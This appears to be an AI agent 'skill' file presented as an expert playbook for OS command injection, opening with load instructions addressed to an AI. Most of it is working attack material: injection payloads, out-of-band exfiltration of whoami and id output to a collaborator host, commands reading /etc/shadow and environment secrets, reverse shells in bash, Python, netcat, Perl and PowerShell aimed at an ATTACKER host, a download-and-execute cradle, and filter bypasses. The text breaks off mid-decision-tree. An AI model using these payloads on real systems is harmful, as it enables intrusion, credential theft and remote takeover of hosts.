Cmdi Command Injection

SKILL: OS Command Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.

0. RELATED ROUTING

Before going deep, you can first load:

• upload insecure files when the shell sink is part of a broader upload, import, or conversion workflow

First-pass payload families

cat$IFS/etc/passwd
{cat,/etc/passwd}
%0aid

1. SHELL METACHARACTERS (INJECTION OPERATORS)

These characters break out of the command context and inject new commands:

2. COMMON VULNERABLE CODE PATTERNS

PHP

$dir = $_GET['dir'];
$out = shell_exec("du -h /var/www/html/" . $dir);
// Inject: dir=../ ; cat /etc/passwd
// Inject: dir=../ $(cat /etc/passwd)

exec("ping -c 1 " . $ip);          // $ip = "127.0.0.1 && cat /etc/passwd"
system("convert " . $file);        // ImageMagick RCE
passthru("nslookup " . $host);     // $host = "x.com; id"

Python

import os
os.system("curl " + url)            # url = "x.com; id"
subprocess.call("ls " + path, shell=True)  # shell=True is the key vulnerability
os.popen("ping " + host)

Node.js

const { exec } = require('child_process');
exec('ping ' + req.query.host, ...);  // host = "x.com; id"

Perl

$dir = param("dir");
$command = "du -h /var/www/html" . $dir;
system($command);
// Inject dir field: | cat /etc/passwd

ASP (Classic)

szCMD = "type C:\logs\" & Request.Form("FileName")
Set oShell = Server.CreateObject("WScript.Shell")
oShell.Run szCMD
// Inject FileName: foo.txt & whoami > C:\inetpub\wwwroot\out.txt

3. BLIND COMMAND INJECTION — DETECTION

When response shows no command output:

Time-Based Detection

# Linux:
; sleep 5
| sleep 5
$(sleep 5)
`sleep 5`
& sleep 5 &

# Windows:
& timeout /T 5 /NOBREAK
& ping -n 5 127.0.0.1
& waitfor /T 5 signal777

Compare response time without payload vs with payload. 5+ second delay = confirmed.

OOB via DNS

# Linux:
; nslookup BURP_COLLAB_HOST
; host `whoami`.BURP_COLLAB_HOST
$(nslookup $(whoami).BURP_COLLAB_HOST)

# Windows:
& nslookup BURP_COLLAB_HOST
& nslookup %USERNAME%.BURP_COLLAB_HOST

OOB via HTTP

# Linux:
; curl http://BURP_COLLAB_HOST/`whoami`
; wget http://BURP_COLLAB_HOST/$(id|base64)

# Windows:
& powershell -c "Invoke-WebRequest http://BURP_COLLAB_HOST/$(whoami)"

OOB via Out-of-Band File

; id > /var/www/html/RANDOM_FILE.txt
# Then access: https://target.com/RANDOM_FILE.txt

4. INJECTION CONTEXT VARIATIONS

Within Quoted String

command "INJECT"
# Inject: " ; id ; "
# Result: command "" ; id ; ""

Within Single-Quoted String

command 'INJECT'
# Inject: '; id;'
# Result: command ''; id;''

Within Backtick Execution

output=`command INJECT`
# Inject: x`; id ;`

File Path Context

cat /var/log/INJECT
# Inject: ../../../etc/passwd (path traversal)
# Inject: access.log; id (command injection)

5. PAYLOAD LIBRARY

Information Gathering

; id                          # current user
; whoami                      # user name
; uname -a                    # OS info
; cat /etc/passwd             # user list
; cat /etc/shadow             # password hashes (if root)
; ls /home/                   # home directories
; env                         # environment variables (DB creds, API keys!)
; printenv                    # same
; cat /proc/1/environ         # process environment
; ifconfig                    # network interfaces
; cat /etc/hosts              # host entries

Reverse Shells (Linux)

# Bash:
; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
; bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'

# Python:
; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Netcat (with -e):
; nc ATTACKER 4444 -e /bin/bash

# Netcat (without -e / OpenBSD):
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f

# Perl:
; perl -e 'use Socket;$i="ATTACKER";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Reverse Shells (Windows via PowerShell)

& powershell -NoP -NonI -W Hidden -Exec Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"

& powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

6. FILTER BYPASS TECHNIQUES

Space Alternatives (when space is filtered)

cat</etc/passwd          # < instead of space
{cat,/etc/passwd}        # brace expansion
cat$IFS/etc/passwd       # $IFS variable (field separator)
X=$'\x20'&&cat${X}/etc/passwd  # hex encoded space

Slash Alternatives (when / is filtered)

$'\057'etc$'\057'passwd  # octal representation
cat /???/???sec???        # glob expansion

Keyword Bypass via Variable Assembly

a=c;b=at;c=/etc/passwd; $a$b $c   # 'cat /etc/passwd'
c=at;ca$c /etc/passwd              # cat

Newline Injection

cmd%0Aid%0Awhoami          # URL-encoded newlines
cmd$'\n'id$'\n'whoami      # literal newlines

7. COMMON INJECTION ENTRY POINTS

8. BLIND INJECTION DECISION TREE

Found potential injection point?
├── Try basic: ; sleep 5
│   └── Response delays? → Confirmed blind injection
│       ├── Extract data via timing: if/then sleep
│       └── Use OOB: curl/nslookup to Collaborator
│
├── No delay observed?
│   ├── Try: | sleep 5